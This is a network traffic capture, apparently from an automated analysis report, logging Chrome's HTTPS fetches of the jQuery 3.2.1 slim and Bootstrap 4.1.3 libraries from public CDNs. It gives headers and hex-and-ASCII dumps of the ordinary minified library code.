2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 Data Ascii: f(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 Data Ascii: nt(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).re
2024-11-20 14:43:17 UTC	1369	IN	Data Raw: 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 Data Ascii: _DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49766	151.101.66.137	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:17 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:18 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2441744 Date: Wed, 20 Nov 2024 14:43:17 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740073-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1732113798.925148,VS0,VE1 Vary: Accept-Encoding
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-11-20 14:43:18 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49767	104.18.11.207	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:17 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:18 UTC	967	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:43:17 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: d7b67eb857a539907ed9a222fd865d4e CDN-Cache: HIT CF-Cache-Status: HIT Age: 1147852 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8e5936253d677d0c-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:43:18 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-11-20 14:43:18 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2024-11-20 14:43:18 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2024-11-20 14:43:18 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
